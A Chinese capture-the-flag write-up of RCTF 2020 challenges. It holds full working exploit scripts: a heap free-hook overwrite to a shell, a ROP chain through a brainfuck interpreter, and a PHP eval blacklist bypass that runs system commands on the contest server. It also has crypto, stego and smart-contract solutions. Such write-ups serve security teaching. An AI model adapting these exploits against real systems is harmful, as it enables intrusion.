RCTF2020 部分Writeup

Timeline Sec

发布于 2020-06-10 11:26:23

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01 PWN

note

首先show函数里有一个数组越界，输入-5可以泄露从$rebase(0x4008)开始0x996个bytes

stdou,stdin和stderr都在这个范围之内

而后门函数同样也有数组越界，除此之外还可以溢出32个字节（当然我没有用到）

首先我们先show(-5)把Libc给泄露出来，然后在rebase(0x4080)处伪造一个指向__free_hook的结构，并在rebae(0x4098)处写上/bin/sh的地址，先该hook再delete 1即可

from pwn import *

r = remote("124.156.135.103", 6004)
#r = process("./note/note")

context(log_level = 'debug', arch = 'amd64', os = 'linux')
DEBUG = 0
if DEBUG:
    gdb.attach(r, 
    '''    
    where
    ''')

elf = ELF("./note/note")
libc = ELF('./libc/libc-2.29.so')
one_gadget_19 = [0xe237f, 0xe2383, 0xe2386, 0x106ef8]

menu = "Choice: "
def add(index, choice):
    r.recvuntil(menu)
    r.sendline('1')
    r.recvuntil("Index: ")
    r.sendline(str(index))
    r.recvuntil("Size: ")
    r.sendline(str(choice))

def delete(index):
    r.recvuntil(menu)
    r.sendline('2')
    r.recvuntil("Index: ")
    r.sendline(str(index))

def edit(index, content):
    r.recvuntil(menu)
    r.sendline('4')
    r.recvuntil("Index: ")
    r.sendline(str(index))
    r.recvuntil("Message: 
")
    r.send(content)

def backdoor(index, content):
    r.recvuntil(menu)
    r.sendline('7')
    r.recvuntil("Index: ")
    r.sendline(str(index))
    r.recvuntil("Message: 
")
    r.send(content)

def show(index):
    r.recvuntil(menu)
    r.sendline('3')
    r.recvuntil("Index: ")
    r.sendline(str(index))

def super_note(content):
    r.recvuntil(menu)
    r.sendline('6')
    r.recvuntil("Give a super name: ")
    r.sendline(content)

add(0, 0)
show(-5)
r.recv(0x18)
libc.address = u64(r.recv(8)) - libc.sym['_IO_2_1_stdout_']
success("libc:"+hex(libc.address))
stdin = libc.sym['_IO_2_1_stdin_']
stdout = libc.sym['_IO_2_1_stdout_']
stderr = libc.sym['_IO_2_1_stderr_']
free_hook = libc.sym['__free_hook']
system = libc.sym['system']
bin_sh = libc.search('/bin/sh').next()
r.recv(0x58)
heap_base = u64(r.recv(8)) - 0x260
success("heap:"+hex(heap_base))
payload = p64(0xFFFFFFFFFFFFFFFF)*2+p64(1)+p64(stdout)+p64(0)+p64(stdin)+p64(0)+p64(stderr)+p64(0)*7+p64(free_hook)+p64(8)+p64(0xFF)+p64(bin_sh)
backdoor(-5, payload)

edit(0, p64(system)+'
')
delete(1)
r.sendline('ls')
r.interactive()

这道题的漏洞也算是数组越界吧！

程序是用c++写的，调用关系很复杂。大致看了一下是brainfuck的解释器，动态调试可以发现输入会读到rbp-0x30开始的位置,并且在rbp-0x40处有指向rbp-0x30的指针，而brainfuck开始解释时指针指向rbp-0x440，并且从rbp-0x440到rbp-0x40处的值均为0。

因此用'+[>+].'这么一串bf代码就能泄露出rbp-0x30的最低一个byte,而bf代码执行完会打印出rbp-0x40存放指针中的值，并且之后输入y继续读入bf的代码也是rbp-0x40处指向的内存，这就有了一个有限任意栈读写的漏洞，我们只需要先把rbp和libc泄露出来，然后把ROPchain读进去，把main的返回地址改成leave进行栈迁移就能获得flag

注意最后要把rbp-0x40处的指针恢复，否则会执行free的syscall而使得程序强制退出

from pwn import *




r = remote("124.156.135.103", 6002)
#r = process("./bf/bf")
context.log_level = 'debug'
DEBUG = 0
if DEBUG:
    gdb.attach(r, 
    '''
    b *$rebase(0x1320)
    b *$rebase(0x1CDB)
    b *$rebase(0x1D96)
    c
    ''')
elf = ELF("./bf/bf")
libc = ELF("./bf/libc.so.6")




r.recvuntil("enter your code:
")
r.sendline('+[>+].')
r.recvuntil("running....
")
leak = ord(r.recv(1))




r.recvuntil("want to continue?
")
r.send('y')
r.recvuntil("enter your code:
")
r.sendline('+[>+],')
r.recvuntil("running....
")
num = leak-1+0x20
r.send(chr(num))
r.recvuntil("done! your code:")
r.recv(1)
rbp = u64(r.recvuntil('
').strip().ljust(8, ''))
success("rbp:"+hex(rbp))

r.recvuntil("want to continue?
")
r.send('y')
r.recvuntil("enter your code:
")
r.sendline('+[>+],')
r.recvuntil("running....
")
num = leak-1+0x20+0x18
r.send(chr(num))
r.recvuntil("done! your code: ")
libc.address = u64(r.recvuntil('
').strip().ljust(8, '')) - 231 - libc.sym['__libc_start_main']
success("libc:"+hex(libc.address))
pop_rdi = libc.address + 0x000000000002155f
pop_rsi = libc.address + 0x0000000000023e6a
pop_rdx = libc.address + 0x0000000000001b96
leave = libc.address + 0x0000000000054803
pop_rsp = libc.address + 0x0000000000003960
open = libc.sym['open']
read = libc.sym['read']
write = libc.sym['write']

r.recvuntil("want to continue?
")
r.send('y')
r.recvuntil("enter your code:
")
r.sendline('+[>+],')
r.recvuntil("running....
")
num = leak-1+0x28
r.send(chr(num))
#r.send(chr(num))

offset = 0x7fff715bf840 - 0x7fff715bf320
ROP_addr = rbp - offset
flag_addr = ROP_addr + 0x98
ROP = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open)
ROP += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x50) + p64(read)
ROP += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x50) + p64(write)
ROP += './flag'
r.recvuntil("want to continue?
")
r.send('y')
r.recvuntil("enter your code:
")
r.sendline('+[,>+],ÿ'+p64(ROP_addr-8)+p64(leave))
r.recvuntil("running....
")
for i in range(len(ROP)):
    r.send(ROP[i:i+1])
for i in range(0x400-len(ROP)):
    r.send(chr(0x90))
num=leak-1
r.send(chr(num))
r.send(chr(num))

r.recvuntil("want to continue?
")
r.send('n')
r.interactive()

02 Misc

animal

首先拿到了一个 7z 压缩包和一个 messge 文件，内有一段代码，是 arduino 代码

可以在 https://www.tinkercad.com/circuits模拟编译运行

通过 led 闪烁的频率，我们可以得到 loop 后的结果

1. -----.--.-----.--.

2. -----.-----.--.-----.

3. -----.--.--.

4. --.

5. -----.--.-----.

6. --.--.--.

7. -----.-----.-----.--.--.

看着像莫斯，尝试用以下方法翻译

1 -.-. C

2 --.- Q

3 -.. D

4 . E

5 -.- K

6 ... S

7 ---.. 8

得出结果 CQCQCQDEKDEK88SKSK

这个玩意儿一开始有点摸不着头脑，后面逐步了解到是业余无线电的一种呼号方式

CQCQCQ 是问候语标识寻找人开始

DEKDEK 是我发完了你来发

SKSK 是 seeyou

真正有用的就是个 88

参考使用方法

得到压缩包解密密码 Love and kisses

解压后得到一个蓝牙流量包和一张二维码

事实证明二维码是个烟雾弹，没有有用信息

真正解题是看流量包里的一个名为 secret.jpg 的图片

通过 steghide 工具可以从图片中提取出一个 flag.txt 的文件

是空密码直接执行 steghide extract -sf secret.jpg 即可

flag.txt 内是一串 base64 加密的密文，解密后得到一个网址

https://mzl.la/2WEjn5a

是 emojy 加密的密文，直接用网站的解密功能，逐个爆破尝试即可

成功如下：

03 Crypto

easy_f(x)

发现 f(x) = (check + k1*x^1 + k2*x^2 + ... + k512*x^512) mod M

知道每一个 x 与 f(x) 的值，未知数有我们要求出的 check 以及 k1 ~ k512。因此解这个 513 元同余方程组需要 513 组数据。

直接解 513 维行列式会很慢，题目限时 300s，我电脑得 1000s 才能算完两个行列式。

发现本题中 delta 其实是旋转后的范德蒙行列式。delta_0 是旋转后的范德蒙行列式的变形，第一行不是全 1，而是 r[i]。可以按第一行展开，余子式中将每一列除以该列元的一次方，可化为范德蒙行列式。计算速度会快非常多，我电脑 150s 左右就算完了。

完整脚本：

import hashlib
import itertools
import string
import gmpy2
from pwn import *


def PoW(ends, res):
   for x in itertools.product(string.ascii_letters+string.digits, repeat=4):
       nonce = ''.join(x)
       if hashlib.sha256((nonce+ends)).hexdigest() == res:
           return nonce


sh = remote('124.156.140.90', 2333)
s1 = sh.recvuntil('Give me XXXX:')
re_res = re.search(r'sha256(XXXX+([0-9a-zA-Z]{16})) == ([0-9a-z]{64})', s1)
ends = re_res.group(1)
res = re_res.group(2)
print 'ends:%s hash:%s' % (ends, res)
nonce = PoW(ends, res)
print 'Find nonce: %s' % nonce
sh.sendline(nonce)
print 'PoW finish.'


s2 = sh.recvuntil('How many f(x) do you want?')
M_res = re.search(r'M=([0-9]+)', s2)
M = int(M_res.group(1))
print 'M: %s' % M
fx_num = 513
sh.sendline(str(fx_num))
x = []
r = []
s3 = sh.recvline()
for i in range(fx_num):
   s3 = sh.recvline(keepends=True)
   fx_res = re.search(r'f(([0-9]+))=([0-9]+)', s3)
   x.append(int(fx_res.group(1)))
   r.append(int(fx_res.group(2)))


print 'Start calc...'
delta = 1
for i in range(1, fx_num):
   for j in range(0, i):
       t = x[i] - x[j]
       delta = (delta * t) % M


delta_0 = 0
for i in range(fx_num):
   tmp_x = [_ for _ in x]
   tmp_x.pop(i)
   yuzishi = -r[i] if (i+1+1) % 2 else r[i]
   for j in range(fx_num-1):
       yuzishi = (yuzishi * tmp_x[j]) % M
   for j in range(1, fx_num-1):
       for k in range(0, j):
           t = tmp_x[j] - tmp_x[k]
           yuzishi = (yuzishi * t) % M
   delta_0 = (delta_0 + yuzishi) % M


delta_inverse = gmpy2.invert(delta, M)
check = delta_inverse * delta_0 % M
print 'check: ', check
sh.sendline(str(check))
s4 = sh.recvrepeat()
print s4

04 Block Chain

roiscoin

此题存在非预期解，其中关键函数有

   function payforflag() onlyOwner {
       require(BalanceOf[msg.sender] >= 2000);
       emit SendFlag(msg.sender);
       selfdestruct(msg.sender);
   }

       function lockInGuess(uint8 n) public payable {
       require(guesser == 0);
       require(msg.value == 1 ether);

       guesser = msg.sender;
       guess = n;
       settlementBlockNumber = block.number + 1;
   }

   function settle() public {
       require(msg.sender == guesser);
       require(block.number > settlementBlockNumber);

       uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 2;

       if (guess == answer) {
           WinCount[msg.sender] += 1;
           BalanceOf[msg.sender] += 1000;
       } else {
           FailCount[msg.sender] += 1;
       }
       ...
   }

   function beOwner() payable {
       require(address(this).balance > 0);
       if(msg.value >= address(this).balance){
           owner = msg.sender;
       }
   }

调用 lockInGuess 传入一个数字，再调用 settle 去验证数字是否与一个随机数相同。但是这里随机数的范围是 0 和 1（因为%2），所以可以直接爆破，只要成功两次即可，概率为 25%。

然后 beOwner 函数存在非预期解，当合约余额为 0 时，在调用 beOwner 时携带任意金额即可满足 msg.value = this.balance，因此可以直接成为 owner，也就可以 payforflag。

05 Web

Calc

一个简单的计算页面，输入表达式输出结果。直接访问 calc.php 可以获得源码，关键点如下：

$str = $_GET['num'];
$blacklist = ['[a-z]', '[-ÿ]', 's',"'", '"', '`', '[', ']','$', '_', '\\','^', ','];
foreach ($blacklist as $blackitem) {
   if (preg_match('/' . $blackitem . '/im', $str)) {
       die("what are you want to do?");
   }
}
@eval('echo '.$str.';');

最终目的就是通过 eval 执行命令。但过滤了字母、$、引号、异或等。

通过响应头发现 php 版本是 7.4。PHITHON 师傅的“无字母数字webshell之提高篇”（https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html）中有提到，可以通过 ('phpinfo')(); 来执行函数，第一个括号中可以是任意 PHP 表达式。

实践可以发现，两个括号中都可以是表达式，第一个括号中是函数，第二个就是参数了。函数嵌套就是 (f1)(f2(arg))。但这种可变函数不能用于如 echo、include、eval 等语言结构。

0/0 结果为 INF，再通过 (0/0).(0) 得到 INF 的字符串，然后 ((0/0).(0)){0} 得到 N，((0/0).(5)){3} 得到数字 0-9 的字符。还可通过 ((99**999).(0)){2} 得到 I、F，((99**99).(0)){15} 得到 E，((-1).(0)){0} 得到 -。然后就可以通过不断地：取反~、和运算&、或运算|，得到全部 256 个字符。

之后就可以执行 system 命令了。发现根目录有 readflag 以及 flag，要用 readflag 读取 flag。但执行后有个运算挑战需要交互，无果。尝试反弹 shell，发现出口流量被拦，不能主动发起连接。

查找到有原型题目：https://www.secpulse.com/archives/105333.html

readflag 中 ualarm 函数通过信号会结束进程，要通过管道的方式获得当前输出并计算然后输入。

上传上面 wp 中的 perl 文件时，本想通过 system(_POST[1]) 的方式来简化 payload 以及 GET 请求的 URI 上限。但 _POST[1] 是字符串就不能再当成变量，无果。因此使用 echo 分多次往 tmp 目录里写 perl 文件，由于 URI 的上限，对 perl 脚本进行了少许修改。并且要注意 echo 中的转义。

use strict;
use IPC::Open3;
my $pid = open3(\*CHLD_IN,
\*CHLD_OUT,
\*CHLD_ERR, "/readflag");
my $r;
$r = <CHLD_OUT>;
print "$r";
$r = <CHLD_OUT>;
print "$r";
$r = eval "$r";
print "$r\n";

print CHLD_IN "$r\n";

$r = <CHLD_OUT>;
print "$r";
$r = <CHLD_OUT>;
print "$r";

有时候因为 perl 脚本运行时间问题，执行失败，多试几次就好。

完整脚本：

import copy
import requests

book = {
   ord('0'): '((0/0).(0)){3}',
   ord('1'): '((0/0).(1)){3}',
   ord('2'): '((0/0).(2)){3}',
   ord('3'): '((0/0).(3)){3}',
   ord('4'): '((0/0).(4)){3}',
   ord('5'): '((0/0).(5)){3}',
   ord('6'): '((0/0).(6)){3}',
   ord('7'): '((0/0).(7)){3}',
   ord('8'): '((0/0).(8)){3}',
   ord('9'): '((0/0).(9)){3}',
   ord('N'): '((0/0).(0)){0}',
   ord('A'): '((0/0).(0)){1}',
   ord('I'): '((99**999).(0)){0}',
   ord('F'): '((99**999).(0)){2}',
   ord('E'): '((99**99).(0)){15}',
   ord('-'): '((-1).(0)){0}'
}

while len(book) != 256:
   # &
   tmp_book = copy.deepcopy(book)
   for i in tmp_book:
       for j in tmp_book:
           tmp = i & j
           if tmp not in book:
               s = '(%s)&(%s)' % (tmp_book[i], tmp_book[j])
               book[tmp] = s
   # |
   tmp_book = copy.deepcopy(book)
   for i in tmp_book:
       for j in tmp_book:
           tmp = i | j
           if tmp not in book:
               s = '(%s)|(%s)' % (tmp_book[i], tmp_book[j])
               book[tmp] = s
   # ~
   tmp_book = copy.deepcopy(book)
   for i in tmp_book:
       tmp = i ^ 255
       if tmp not in book:
           s = '~(%s)' % (tmp_book[i])
           book[tmp] = s

# print(len(book))
# for x in book:
#     print(x, chr(x), book[x])

def get_payload(target):
   payload = ''
   for x in target:
       payload += '(%s).' % book[ord(x)]
   return payload[:-1]

with open('crack.pl', 'r') as f:
   file_content = [_.strip() if _ != '
' else _ for _ in f.readlines()]
for i, line in enumerate(file_content):
   if '\' in line:
       file_content[i] = line.replace('\', '\\')

file_name = '/tmp/a.pl'
system_payload = get_payload('system')
url = 'http://124.156.140.90:8081/calc.php'

for line in file_content:
   s = "echo '%s'>>%s" % (line, file_name)
   payload = '(%s)(%s)' % (system_payload, get_payload(s))
   r = requests.get(url=url, params={'num': payload})

# s = "cat %s" % file_name
# payload = '(%s)(%s)' % (system_payload, get_payload(s))
# r = requests.get(url=url, params={'num': payload})
# print(r.text)

s = "perl %s" % file_name
payload = '(%s)(%s)' % (system_payload, get_payload(s))
r = requests.get(url=url, params={'num': payload})
print(r.text)